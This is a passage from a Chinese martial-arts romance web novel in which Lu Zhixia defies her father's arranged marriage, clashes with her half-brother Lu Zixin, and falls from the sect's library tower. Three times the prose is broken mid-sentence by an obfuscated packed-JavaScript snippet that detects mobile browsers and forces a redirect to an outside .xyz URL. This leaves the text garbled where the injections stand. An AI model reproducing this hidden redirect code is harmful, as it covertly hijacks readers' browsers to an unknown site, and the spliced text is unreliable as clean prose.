陆知夏整个人看上去比之前精神许多,胃口也好,李暮和江宛若皆松了口气。 饭后,陆知夏伸了个懒腰,不小心牵动后背伤处,龇牙咧嘴骂道:“该死的陆子辰,这笔账日后我一定要讨回来。” 那日陆子辰出面作证,陆知夏便认定是他言而无信向父亲告的状。 李暮道:“子辰不是那种人,或许你误会他了。” 陆知夏不信,整个云苍派除了陆子辰还有谁会跟她过不去?说不定他就是想借父亲的手将她这颗眼中钉除了。 江宛若道:“那时你逃婚的事在门中传得沸沸扬扬,师父怎么可能不知道?” “那也一定是他到处乱说的,总之和他脱不了干系。”陆知夏愤愤道。 李暮和江宛若相视苦笑,没想到陆知夏对陆子辰偏见这么深。 李暮道:“你被杖责后,云岚院一带巡夜的弟子也被执法堂的人带走,最后以私设赌局玩忽职守的罪名被罚去守山。” “这事怎么了?”陆知夏好奇,怎么最近大家都在说这件事? 李暮道:“我听执法堂的弟子说,那晚巡夜弟子中一个叫叶闻的看到子辰包庇你逃婚便设赌局,赌你和子辰谁将受罚,事情闹得沸沸扬扬,师父知道后恼羞成怒才去找你。” “这个混蛋!”陆知夏拍案而起,“敢在姑奶奶背后捅刀子,日后要是让我碰见他,我定把他打得满地找牙!” 江宛若道:“不劳你出手,他第一天巡山时便遭人毒打,至今仍躺在床上昏迷不醒。而打他的人也没查到。” 陆知夏心想这也太巧了吧。还好她被禁足,不然嫌疑最大的就是她。 陆知夏叹了口气。即便弄清楚那件事又如何?逃婚失败她还是得嫁入刘家。 江宛若也支着下巴叹气,“我们的日子也不好过。眼下多了你的婚事,师父让大师兄全权负责,其余事务都分到我们几个弟子头上。每天忙得我脚不沾地,连喝口水的时间都没有。” 提到自己的婚事,陆知夏不由紧张,“婚期不是没定吗?他忙些什么?” 李暮道:“婚期未定,但也要早做准备。你是云苍派二小姐,嫁妆自然不能太寒碜。” 陆知夏道:“你替我转告爹,我的婚事不要那个阴险小人操办。” “又怎么了?”李暮有时真拿这对冤家兄妹没办法。 陆知夏道:“上次若不是他暗中盯着我,阻挠我,我早就离开这个鬼地方了。他老是和我作对,怎么可能尽心为我操办婚事?” 李暮道:“你对子辰成见太深了,他……” “他从小就是个坏蛋。”陆知夏打断李暮的话,细细数落道:“自打他入了陆家的门就经常凶我,还欺负我。我永远忘不了他削砍我为爹娘做的雪人,烧我每年为爹娘祈福的孔明灯,还把爹送给我养的一对小兔子烤了吃……我从没听说哪个大哥像他这么坏的,你让我如何放心把自己的婚事交给这种人操办?” 李暮笑道:“方才你说的那些都是小时候的事,过去就让它们过去吧。如今子辰成熟稳重,不会在大事上开玩笑的。” “我跟他永远过不去!”想起过去受的欺负,陆知夏依然愤懑不平。那时单纯的她曾试着容纳这个哥哥,可他却一次次伤她的心,她怎能轻易原谅他?何况这回他破坏她的逃婚大计等于把她往火坑里推,若她真嫁进刘家,定要用他的八字做个小人天天踩。 江宛若道:“说实话,大师兄这人平日独来独往,面冷话少,连我也不免有些怕他。” 江宛若凑近些,小声说道:“而且我感觉大师兄行事越来越残忍。你们还记不记得之前管库房的徐伯?前年就因为弄丢了几袋米便被大师兄砍了一只手赶下山。” 陆知夏惊讶道:“我还以为徐伯是回家养老,没想到竟然……陆子辰也残忍了!” 这件事李暮恰好知道内情,说道:“徐伯的事不光是弄丢几袋米这么简单。这些年他一直利用职务之便偷拿库房里的东西,小到粮食,大到珍宝。还好子辰心细,核对库房册子时发现有人作假,这才揪出了徐伯这个大蛀虫,还追回不少损失。” 江宛若不服气,又提起一件往事:“那五年前元宵夜发生的事又如何解释?所有人亲眼看到他把那个苦恋他多年的女弟子刺死。虽然那个女弟子暗中给他下药不对,但他既已识破她的招数没必要把人杀了吧?” “他,他还当众杀人?”陆知夏倒吸一口凉气。 李暮道:“那件事执法堂早有定夺,子辰没做错,那名女弟子确实该死。因为她是冒名顶替混入云苍派的魔教细作。此前门中诸多怪事和血案都与她脱不了干系,子辰早就怀疑她。当晚她欲在宴会酒水中下毒,所幸子辰及时发现制止,打斗中将她误杀。” 江宛若不解道:“师兄是如何得知这些事情经过的?” 李暮道:“我常与执法堂的执事打交道,都是听他们说的。” 江宛若和陆知夏不再多言。李暮看着二女,说道:“子辰确实有些孤僻,但我相信他不是你们想象的那种人,往后你们多与他接触就明白了。” “不必,不必。”二女连连摆手。 江宛若打趣道:“我看整个云苍只有师兄你愿意了解大师兄,你们不做知己真是可惜了。” 李暮苦笑道:“我常与子辰共事,对他的事自然知道得多一些,并非刻意了解,你们莫要以此打趣我。” 陆知夏拉着李暮手臂笑道:“我们二师兄一向与人为善,心胸宽广,这才是众弟子的楷模。” 李暮谦虚一笑,“别这么说,其实很多事我都不如子辰。” “二师兄谦虚了。”陆知夏感慨道:“真怀念以前我们一起练剑的日子。都怪那个讨厌的陆子辰,是他夺走了属于我们的一切。” “嘘。”李暮做了个噤声的手势,说道:“这话以后莫要再说。无论如何,子辰才是你同父异母的大哥。” 陆知夏撒娇道:“我不要那样冷酷无情的大哥,我要二师兄做我大哥。” 李暮看着陆知夏清澈明亮的杏眸微笑,她活泼调皮的性子真是像极了他早夭的小妹。 陆知夏咧嘴幻想道:“二师兄若是我的亲大哥,凡事定会站在我这边,绝不会让我受一点委屈,我一定过得比现在幸福许多。” 闻言,李暮微笑略僵,心中生出一股愧疚。他扶着陆知夏双肩,认真看着她说道:“知夏,相信我,事情最后会有转机的。” 陆知夏看着李暮坚定的眸子灿烂一笑,“嗯,我相信你。” 从云岚院出来,李暮望着天边弦月攥紧拳头。既然是他把陆知夏拉入江湖这摊浑水,也该由他带她出去。这次,他不会再辜负她的信任。 * 夜已深,云朝阁上还亮着灯。李暮看望过陆知夏后来向陆掌门复命。 陆乾领李暮来到书房。 陆掌门还在伏案处理手头事务,微微抬头看向来人,“知夏情况如何?” 话音刚落,李暮“扑通”一声跪伏在案前,言辞恳切道:“徒儿愿舍弃一切,求师父取消婚事放知夏下山。” “混账!”陆掌门重重合上手中册子,厉声道:“我让你去说服那个不孝女,你反倒跑来说服我?暮儿,这可不像平素稳重的你会干的事。是不是那个不孝女怂恿你来的?” “徒儿是自愿来的。”李暮抬起头,说道:“这桩婚事对知夏太不公平,弟子无法坐视不管。” 陆掌门双眼微眯,沉声道:“你是不是喜欢她?” 李暮一怔,解释道:“师父误会了,我看着小知夏一点点长大,从来只把她当妹妹看待,绝无半点男女之情。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083125|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你为何迟迟不与孙家的丫头完婚?大半夜的还跑来这儿为她跪地求情?”陆掌门紧盯着李暮,不放过他一丝反应。 李暮老实说道:“我还想在云苍多待几年,至少等知夏有了好归宿才放心成家。当初知夏是我劝回来的,看到她这些年在门中过得不快乐我很内疚。” 陆掌门见他态度诚恳,并未暗藏心思,叹息道:“知夏年纪小不懂事,你将近而立之年也不懂我的一片苦心吗?” 李暮望着陆掌门,欲言又止,长跪不起。 无奈,陆掌门掏心窝子说道:“刘家那跟不省心的独苗已经废了,知夏性子蛮横嫁过去不容易被人欺负。只要她努力为刘家诞下子嗣继承家业,往后便稳坐主母之位,衣食无忧,要风得风,要雨得雨,不比下山四处漂泊当乞丐强?” 李暮道:“知夏不是贪图富贵精于算计的人,您说的那种生活不是她真正想要的,她嫁到刘家不会快乐的。” 有钱有权的人生多少人求而不得,怎会不快乐?陆掌门难以理解,“那你知道她想要什么吗?” 李暮道:“知夏看起来天不怕地不怕的,但她渴望被人疼爱,自然想要一份真挚的感情。” 陆掌门冷嗤道:“你们这些年轻人总是喜欢追求些不切实际的东西。真情这种东西虚幻而缥缈,今日爱得死去活来的人明日也可能反目成仇,哪有金钱权利这种实实在在的东西靠得住?” “可是师父……” “够了。”陆掌门冷冷打断李暮的话,“我意已决,能让你说这么多已格外开恩,快退下吧。” 话音刚落,陆乾上前送客。 李暮叹了口气,转身垂头丧气离开。 陆子辰恰好从门外进来,二人擦身而过淡淡点头。 房门合上后,陆掌门看向风尘仆仆的陆子辰,说道:“子辰,你连夜赶回来莫非是有好消息?” “爹料事如神。”陆子辰将一封信函交给陆掌门,“这是萧大公子让我转交给您的,他已认清形势,同意与您在云烟阁见面。” “好。”陆掌门抚须微笑,“这次事成多亏了你,想要什么赏赐尽管开口。” 陆子辰道:“孩儿竭力办事是为爹分忧,只要爹好好待娘,孩儿别无所求。” 闻言,陆掌门甚感欣慰。但他熟知人性,像儿子这般样样拔尖的后辈怎么可能不为自己打算?要么是不敢提,要么是想要的超乎他所能给与的范围。 陆掌门来到陆子辰面前。转眼他们父子相认已快十年,当初瘦弱的男童转眼间长成了顶天立地的男子汉。虽然儿子一直忠心孝顺,但有时他又觉得他们不如寻常父子那般亲近,儿子对他的尊敬更像是在回避他给与的父爱。 陆子辰平静地接受父亲的审视。 陆掌门忽然问道:“你对知夏的婚事怎么看?” 陆子辰道:“儿女婚事自古由父母做主,子辰对此并无异议。” “是么,我还以为你与李暮一样也暗藏不满。”陆掌门淡淡的语气听起来话中有话。 陆子辰掀袍双膝跪地,“若爹在为上次孩儿隐瞒知夏逃婚之事生气,孩儿甘受惩罚。” 陆掌门赶忙扶儿子起来,说道:“爹并没有怪你的意思,你那样做定是不想将事情闹大丢陆家的脸面。” “多谢爹体谅。” 陆掌门道:“等知夏嫁进刘家,爹也给你安排一门好亲事如何?” 陆子辰道:“全凭爹安排。不过男儿当以建功立业为目标,孩儿想助爹成就一番伟业再谈儿女私情。” 陆掌门甚感欣慰,拍拍儿子的肩,说道:“你是爹唯一的儿子,日后我夺得的一切也都是你的,不必给自己太大压力,该娶妻生子的时候也不要耽误。” “孩儿明白。” 一番试探探出了儿子的野心,陆掌门并不生气,反倒很高兴。孩子虽然心思深沉但志向远大,又敬重他这个父亲,不枉他苦心栽培他多年。往后他们父子齐心协力,何愁干不成一番大事? 陆掌门暗暗冷笑,闫释天那厮得意不了太久,被霸占多年的武林至尊之位终有一日将归还于他。 离开云朝阁后,陆子辰独自走在灯火昏暗的长廊上,一副心事重重的模样。如今刀磨好了,却还缺少一个引蛇出洞的机会…… 左思右想间,挺拔身影不知不觉来到云岚院外。 陆子辰摇摇头,否定刚刚萌生的想法,抬步继续往前走。 13. 谈崩 上回让陆知夏溜出云岚院,值守的弟子们都被陆掌门训了一通。如今云岚院里外、暗处都有人严密监视,陆知夏想出房门都难。 养伤的日子里,陆知夏一边抄写《孝经》,一边思考如何推拒这门婚事。总之,她绝对不会嫁给刘家那个遭天谴的傻儿子。 耗时半月,陆知夏总算把三百遍《孝经》抄完,伤势也已痊愈,她请求面见父亲。 弟子将陆知夏的请求禀明陆掌门,陆掌门正好有事要找她,便应允了。 是日,陆知夏捧着一沓墨香浓郁的宣纸来到云朝阁。 “二小姐,请随我来。”四旬左右面容忠厚的男子上前为陆知夏引路。 陆知夏以前并未见过此人,听路过的执事向他问候才知道他是新的总管陆乾。云朝阁里的一切也都不是她记忆里的模样,阁楼上下都用红漆仔细粉刷了一遍,越往里走陈设布置也越奢华,仿若一座皇家行宫。 陆知夏惊叹不已。父亲如今是飞黄腾达了吗? 云朝阁有五层,是掌门私人领地。除了信任之人,其他人未经掌门许可不得擅入。 陆知夏随陆乾穿过大堂,步上宽敞的楼梯来到二楼。走廊尽头一扇门虚掩着,陆乾领陆知夏上前,敲了敲门。 “进来。”门后传来陆掌门的声音。 陆乾推开门,侧身请陆知夏进去。 多年后陆知夏第一次踏入父亲书房,进门便被这间宽大敞亮、陈设古朴奢华的书房震撼。她边走进去,边东瞄西看,像个没见过世面的乡下丫头。 书房来客还有一人,陆知夏认出那道背对着她站着的挺拔身影,心里又蹿起一团火。 宽大的紫檀木书案前,陆掌门正同陆子辰议事。陆知夏抱着厚厚一沓宣纸上前行礼问安,父子俩自顾自说话,丝毫没把她的到来当一回事。 虽然心里不爽,但陆知夏今日另有目的,识趣地立在一旁等候。她对门中事务不感兴趣,垂头闭目养神,不知不觉有了困意。正当她快要睡着的时候,脑袋被人狠敲一记。 “啊!” 陆知夏痛呼一声睁开眼睛,抬头对上一双清冷眸子。陆子辰冷冷道:“聋了?爹叫你呢。” 陆知夏一手揉额头,一手指着陆子辰,大声道:“爹你看到了吧,他打我。” 陆掌门冷哼,“他下手算轻了。” 陆知夏暗暗咬牙。果然是一对缺德父子! 想起此行目的,陆知夏强压心里怒火,堆起灿烂笑容将宣纸呈上去,恭敬道:“《孝经》三百遍抄好了,请爹过目。” 陆掌门翻了翻摆在面前散着墨香的宣纸。 纸上字迹娟秀工整,赏心悦目,足见抄写之人十分用心。陆掌门捋了捋胡须,舒展的眉宇间挂着几分喜色。 陆知夏瞧准时机,柔声道:“爹,今日女儿过来还想单独同您商量一件事。” 陆掌门往椅背上一靠,淡淡道:“何事?” 陆知夏瞪了一眼像钉子一样杵在原地的陆子辰。方才她好像说了“单独”二字吧?这家伙怎的如此不识趣? 陆掌门等了半天不见陆知夏开口,不耐烦道:“没事就退下,我这里还有事要忙。” 陆知夏指着仍一动不动的陆子辰,说道:“让他出去,我要单独跟您说。” 俊眉微皱,陆子辰冷冷扫了陆知夏一眼,丝毫没把她的话当一回事,身形一动不动。 “没大没小,把手放下!”陆掌门没好气道:“子辰是你大哥,一家人有什么话不能说?再拖拖拉拉就给我滚。” 此行重要,陆知夏压下心里怒火,双膝一弯跪在地上,哽咽道:“爹,女儿无才无德,行为粗俗放肆,配不上刘公子,请您收回成命,取消我与他的婚事。”言罢,她重重磕了一个响头,伏在地上等待父亲回应。 书房里顿时安静下来,等待的过程漫长难熬,陆知夏紧张得心脏砰砰直跳。 “你回去吧。” 父亲淡淡的回应如冷水浇灭了陆知夏最后一丝希望。 陆知夏握紧双拳,满心不甘。半月以来,她好好表现,鼓起勇气来见他,结果就得到一句轻飘飘的话…… 陆知夏额头仍贴在地上,泪水倒流,带着哭腔道:“爹,知夏从小到大没求过您一件事,如今就这一个请求您都不好好考虑一下吗?” 陆掌门抚额,神情显得颇为苦恼。这段日子两家已交换庚帖,两派联姻大事已定,只等聘礼送到再择吉日举行婚典即可,怎么可能取消。 听着女儿的哭声,陆掌门越发不耐烦,“不要再说了,我这是为你好,快回去吧。” 陆知夏不甘心,跳起来大声道:“我到底是不是您的亲生女儿?你怎么忍心把我嫁给一个遭天谴的傻子?” 陆掌门沉声道:“女儿家总要嫁人的,嫁谁不是嫁?何况刘家在武林也是名门,嫁过去亏待不了你。” “我不要!”陆知夏情绪激动,“这辈子我要嫁就嫁自己喜欢的人,否则我宁愿去死!” “不孝女,上回的教训都忘了?”陆掌门拍案而起,怒气冲冲指着陆知夏,指尖因为盛怒而颤抖,恨不得手边有根棍子让他再教训她一顿。 陆知夏吓呆,之前父亲那顿毒打让她心有余悸。 父亲态度强硬,陆知夏也灰心丧气,扯开嗓门凄声大哭。 见状,父子俩头大如斗,相视叹息。 陆掌门拿陆知夏没办法,为了让她立时停止那烦人的哭声,随口问道:“要取消婚事总得有个合理的理由吧,你可有钟情之人?” 闻言,陆知夏停止哭泣,平日她连门都少出,怎么可能有心上人?事关终身幸福,她又不敢随意糊弄,老实摇头。 陆掌门松了口气,又问道:“那你想嫁什么样的人?” 陆知夏又被问住,这个问题她还没有仔细考虑过。 陆掌门见她半天不说话,冷哼道:“既然你一点自己的想法也没有那就听爹的,爹不会害你。” “谁说我没想法。”情急之下,陆知夏边想边说道:“我想嫁的人他首先样貌得和我般配,武功和人品都不能太差,性情要温和善解人意,若是再通晓一些诗词歌赋就更好了。” 陆掌门沉思片刻,摇头说道:“按你的要求,同辈里没一个合适的。” “不可能,我要求也不高吧……”陆知夏掰着指头仔细回想自己刚刚说的话,她还漏说了几点要求呢,这也算高? 陆掌门道:“你就是话本看多了。现实里哪有这么完美的男子?即便有,人家哪会看得上你?” 陆知夏噘着小嘴低头,早知道没希望她懒得说那番话丢人现眼。 见女儿情绪稳定下来,陆掌门也想起一件事,说道:“玄阴派已来信,刘掌门希望你与斐儿尽早完婚,过些时日聘礼就送过来了。” 陆知夏一惊,问道:“尽早是什么时候?” 陆掌门道:“估计也就一两个月内吧。” 陆知夏如遭雷击,一屁股坐倒在地。 陆掌门道:“反正亲事两家都定了,早点完婚我也安心。” 陆知夏腹诽:“安心?你安的是狠心吧。” 陆掌门补充道:“信里还说,送聘礼的人不日将启程,斐儿也在其中。不久,你们便能见上一面。斐儿虽然心智残缺,但样貌不差,如今也懂事听话,你见了说不定就改主意了。” “若我见了还是坚持不嫁呢?”陆知夏仍不死心。 陆掌门怒道:“不嫁也得嫁!” 一切已成定局,陆知夏再度流泪,扭头撒腿往外跑。 以陆知夏的臭脾气肯定不会乖乖听话,陆掌门担心她又惹祸,即刻让陆子辰追上去。 楼下大堂中,陆乾正与一位执事说话,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083126|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一阵匆匆下楼声,转头看去,陆知夏惊慌下楼,一阵疾风似地从他们身边跑过。 “二小姐……”陆乾还未搞清楚状况,陆知夏已奔出云朝阁。 陆乾顿感不妙,搁下手头的事追去。一道黑影从他身后疾速掠过,向着狂奔而去的陆知夏追上去。 陆乾松了口气,回头继续忙自己的事。 * 适逢午时,勤武堂前练功的弟子解散,路上乌压压一大片人。陆知夏躬身一头扎进人堆里,如同灵活的小鱼逆着人流往后门方向溜去。之前为了逃婚,她早将去后门最保险的路记牢,顺着一条人影稀疏的小路穿过三道拱门便来到后门附近。 身后没跟着“尾巴”,陆知夏得意一笑。今日一切她都计划妥当,若是谈崩便大胆一搏,没准出其不意成功几率更大。如今小玉不在她身边也不会遭她连累,日后她留在上山也不用跟她到处吃苦,这样也挺好的。 这个破地方陆知夏一刻也不想多待,加快脚步走向前行。 后门敞开着,周围竟无人值守。以防有诈,陆知夏先躲在暗处观察。 等了将近一盏茶的功夫,有几个白衣弟子走来,陆知夏亲眼看着他们出门,畅行无阻,才放心大胆走过去。 陆知夏一脚跨过门槛,内心激动喜悦。自由在望,看来今天真是个好日子! 后脚还未出门,一阵风从身后扫过,陆知夏身子一麻,笑容和身体僵在原地。 “门外的空气是不是格外清新?” 挺拔身影走到陆知夏面前。陆子辰抱着双臂看着她,清冷目光中带着一丝嘲讽,说道:“等你许久,你跑得也太慢了。” “陆子辰,你又坏我好事!”陆知夏瞪着他,银牙都要咬碎。她距自由只有一步之遥,为何关键时刻他总坏她好事? 早知一切不会如此顺利,陆知夏望着门外的风景叹息,终究是她大意了! 陆子辰作势又要把她扛走,陆知夏大声道:“背后偷袭算什么本事?你敢不敢同我在这里堂堂正正打一架?” 陆子辰眼角微弯,像是听到什么天大笑话,冷嗤道:“凭你也敢跟我单挑?” 陆知夏挑眉,“怎么,你不敢?” 话音刚落,陆知夏浑身一阵轻松,穴道已被解开。她悄悄从袖子里摸出一样好东西,暗暗偷笑。 “我让你十招,十招之内若你能碰到我,便算我输。”陆子辰清冷的语气里透着几分不屑。 “好啊。”陆知夏灿烂一笑,眼底闪过一丝狡黠光芒。 陆子辰显然没有把对手放在眼里,一开始便站在陆知夏面前。 “今日看本小姐怎么教训你。”陆知夏抬臂一挥,扬手撒出一片白色粉末。 一团不明物体袭来,陆子辰下意识闭眼,浑身被一片白雾笼罩,咳嗽不断,“你竟敢使诈。” 白雾经久不散,所幸只是面粉,若是毒粉,这么近的距离陆子辰恐怕性命不保。他抬袖擦去粘在眉眼上的面粉,睁眼面前哪里还有陆知夏的影子? 陆子辰握紧拳头,这个狡猾的丫头一开始就没想比划,他竟然还信了…… 陆子辰走到门外,附近暗哨没有动静说明陆知夏还未出门。他握紧手里的剑即刻转身追回去。只要她还在门中便逃不出他掌心,且让她得意片刻。 陆子辰离开后,附近一堆杂物后冒出一个脑袋。陆知夏谨慎观察四周,确定无人才悄悄走出来。 后门依旧大开着,现在她却不敢踏出一步。她暗暗分析,方才陆子辰出去又马上回来,定是十分确定她还在门中,外边肯定有他安插的暗哨。她拍拍胸脯庆幸刚才没有自投罗网,否则当场被逮住定会被他狠狠修理一番。 陆知夏看着门外近在咫尺的风景长叹,恋恋不舍转身往回走。白天人多眼杂不好脱身,她先找个安全的地方躲起来,晚上再想办法溜出去。 14. 抗婚(上) 青山院池塘边的翠柳下,一名年近五旬的灰袍长者神态自若地坐在石桌边品茶。 头上柳条随风轻曳,手上新茶芬芳四溢。他不疾不徐饮茶,双眼赏花看树,心底不骄不躁,一派悠然自得的模样。 半晌,院门方向传来一阵慌乱的脚步声,院里的平静很快被“砰”的一声关门声打破。 长者放下茶盏循声望去,只见一名白衣女子靠着门背喘气。 长者疑惑道:“夏丫头,你不是被掌门师兄禁足了吗?” 陆知夏可怜兮兮望着长者,“齐师叔救命,陆子辰要杀我。” 齐威淡笑道:“你又惹事了吧?” 陆知夏嘟着小嘴走到石桌旁坐下,顺手给自己倒了杯茶喝,愤愤道:“这回不是我惹事,是那对缺德父子在婚事上咄咄逼人。” 长者是陆掌门的同门三师弟齐威,如今虽担着师叔的名份,但他鲜少插手门中事务,一直在自己院子里过着清闲自在的隐士生活。但陆知夏逃婚被抓一事在门中闹得沸沸扬扬,他多少还是知道一些的。 齐威深知这桩婚事对陆知夏很不公平,但婚事一向由父母做主,他做为旁人也不好插手。 二人正悠闲喝茶,院门外又传来动静,陆知夏慌忙起身躲进屋里。 齐威示意仆从去将院门打开,陆子辰带着几名弟子走进来,朝齐威抱拳作礼。 “齐师叔,知夏顽劣,若是叨扰了您我来将她带走。” 齐威淡淡道:“人不在我这里,你们到别处寻吧。” 陆子辰看了一眼桌上两杯冒着热气的茶,眼角微跳,沉声道:“事关重大,还请师叔莫要包庇。” 言罢,他抬手一挥,示意手下弟子进屋拿人。 “放肆。”齐威沉下脸,说道:“人方才来过,但又走了。你们一群人气势汹汹过来,是要把我这小院掀翻才满意?” 众弟子不敢妄动,纷纷看向陆子辰。 双方互不相让对峙片刻,陆子辰低头,抱拳朝齐威一礼,转身带人离开。 院子里安静下来,陆知夏探头发现陆子辰他们走了,笑嘻嘻回到齐威身边,甜声道:“多谢师叔为我解围。” 齐威叹息道:“别开心太早,你总不能在我这里躲一辈子吧?接下来你有何打算?” 陆知夏一手撑腮,眉头紧锁,“我要找机会逃走,这里不能待了,我要回云炀。” 齐威笑着摇头,“傻丫头,你是云苍派的嫡小姐,两派婚事已定,就是逃到天涯海角你爹也不会放过你。” “去他的嫡小姐。”陆知夏恼火道:“好事没有,坏事全落我头上。” “这便是命。”齐威幽幽叹息。 陆知夏拿起面前的茶盏一饮而尽,“我不信命,我一定要离开这儿。” 杯子刚落,她嚯地起身大步离去。 看着一股脑奔向前门的女子,齐威好意提醒道:“他们守在外边,你得往后门走啊。” 陆知夏慌忙调头。齐威长叹一声,不禁为她担忧。 * 日影偏西,陆知夏用一本书挡着脸混入藏书阁。 藏书阁共六层,距地约九丈,是门中最高的建筑。四层以上的书晦涩难懂,平时鲜有人去,如今对陆知夏来说是绝佳的藏身之处。 她悄悄来到顶楼。这一层平日没人来,周围窗户紧闭,也没有点灯,放眼望去一排排望不到边的高大书架隐没在黑暗中,看着有些瘆人。但她已无退路,只能大着胆子走进去。 走到一半,陆知夏寒毛竖起,感觉黑暗中有双眼睛正盯着自己。她停下观察片刻却未发现任何动静。人身处黑暗中本就敏感多疑,她觉得是自己想多了,凭着记忆走到烛台前寻找火折子。 身后某处倏然传来细微响动,陆知夏手一抖,火折子掉到地上。她蹲下身去找,摸了半天也没找到,急得满头大汗。 手忽然撞到硬物,陆知夏一怔,用手好奇摸了摸,顿时脊背发凉。 她摸到的是一只穿在人脚上的靴子…… 陆知夏咽了咽唾沫,慢慢抬头。 “略——” “啊!”陆知夏惊叫一声爬开。那东西有条鲜红的长舌,她莫不是遇到吊死鬼了? “有鬼。”陆知夏越想越害怕,眼泪汪汪地不停往前爬。 “你还怕鬼?哈哈哈哈哈——” 身后传来熟悉的爽朗笑声,陆知夏大概猜出此人身份,顿时松了口气,从地上站起来,叉腰道:“好你个齐放,竟敢扮鬼吓我,太过分了!” “怎么,你吓尿了?”那人吹亮手里的火折子,将烛台上的三层蜡烛全部点上,漆黑的顶楼渐渐亮堂起来。一名额前留着一撇长刘海的清秀男子正含笑看着陆知夏。 陆知夏咬牙,果然让她猜中了,从小爱捉弄她的除了齐师叔的宝贝徒儿齐放还有谁?只是没想到这么多年过去,他依旧还是这副吊儿郎当的样儿。 齐家师徒俩鲜少插手门派事务,平日两人就是练功、喝茶,是云苍派最清闲的存在。哦不,自从云苍派又多了陆知夏这么个吃白食的二小姐,他们仨算是齐头并进。 齐放笑道:“陆老二,你是不是又偷溜出来了?” “你管我。”陆知夏神态已恢复镇定,一副不把对方放在眼里的蛮痞模样。 齐放摇头,好心提醒道:“你还是乖乖回云岚院吧,若是让你大哥逮到结果就不一样了。” “那你呢?鬼鬼祟祟躲在这里,是不是又在这里偷看禁书?” “谁偷看禁书……上次的事是误会。”齐放举起手里一本泛黄的书册,没好气道:“我是来找书的,正经史册。” “哎哟,你还对史书感兴趣?真是太阳打西边出来咯。”陆知夏阴阳怪气道。 齐放连忙解释道:“我都说了,上次是误会。那本禁书是我从新弟子手里缴来的。” “然后你就顺手翻看了?”陆知夏坏笑。 “我没看!”齐放顿时无比冤枉,而陆知夏笑而不语的样子更令她抓狂。 这时,楼下传来喧哗声。陆知夏没工夫斗嘴,四处找地方躲。 “喂。”齐放好笑地看着惊慌失措的陆知夏,抬手指了指远处一扇虚掩的窗。 陆知夏了然,赶紧跑过去将窗子推开。 迎面吹来的大风拂乱发丝,她探头往下一看顿时头晕腿软。这层距地面太高,以她那蹩脚的轻功跃下去必死无疑。 “二小姐——” 楼道方向脚步声凌乱,抓陆知夏的人已上至顶楼。 十几名白衣弟子向窗前的白衣女子围上来。陆知夏回头瞥了一眼,所幸陆子辰不在其中。但她已无退路,不想被抓回去只能从窗子跃下去。幸运的话,落在檐上也死不了。 “你们别过来。”陆知夏壮着胆子爬上窗台,警惕地望着向她慢慢靠近的人。 “那里危险,二小姐你快回来。” 弟子们一脸紧张地看着坐在窗台上的陆知夏,站在原地不敢贸然上前惊动她。这么高的地方,除非是绝顶高手,一般人坠下非死即残。 “陆老二,你别乱来。”齐放慌张上前劝阻。方才他指这条路是想让她知难而退,没想到她如此倔强,宁死不屈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083127|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你们都给我退下。”陆知夏厉喝,声音却带着丝丝颤抖。窗外没有落脚之处,她一只脚悬空,单薄的身子在风中摇摇欲坠。 陆知夏心意已决,即便今日摔死在藏书阁下,她也决不向那桩不公的婚事妥协。 双方僵持着,有人偷偷去向陆掌门禀告。 动静闹大,藏书阁下边很快围满了看热闹的弟子。有人看热闹不嫌事大,公然设赌局押注,许多人跟着下注,场面热闹得像赌坊。 楼上,齐放好言劝道:“知夏,有事好商量,你先下来好不好?” “该说的我都说了,今日爹若不取消婚事我就从这里跳下去,一了百了。”她语气激动,悬在窗框上的身子猛烈晃了晃,围观众人倒吸一口凉气。 齐放叹息道:“为一点小事搭上自己的小命不值啊。” 小事?陆知夏反问:“若齐师叔让你娶山下的萍姑为妻,你又当如何?” 这话虽只是假设,但周围听到的人都忍不住笑出声。 萍姑是云苍山一带出名的疯丫头,遇到过路男子就追着喊相公,脸上还有块奇丑无比的褐色胎记,路人见她都要躲开,更别提跟她朝夕相伴过日子。 齐放联想到那副凄惨画面,苦着脸道:“我会跟你一样从这里跳下去一了百了。” 众人大笑出声,陆知夏也忍不住笑起来。 悬在外边的脚一个不注意带偏重心,陆知夏还来不及抓住窗框,身子一歪整个人坠下楼去。 眨眼功夫窗台上的人没了,众人惊呼着冲上去施救。可惜已经晚了,陆知夏背心朝下,尖叫着向地面坠去。 据说头先着地会死得很难看,但距离地面越来越近,陆知夏已经来不及调整姿势。她吓得魂飞魄散,抱头紧紧闭上双眼。 一切发生得太突然,下边围观的人都看傻眼了,丝毫没人反应过来要救人。 远处一道黑影踏着重檐疾速跃来,快到藏书阁时双腿狠狠借力一跃而上,双臂抬起,于半空中稳稳接住下坠的白影。 黑白人影重叠,衣袂翻飞,二人缓缓下落。 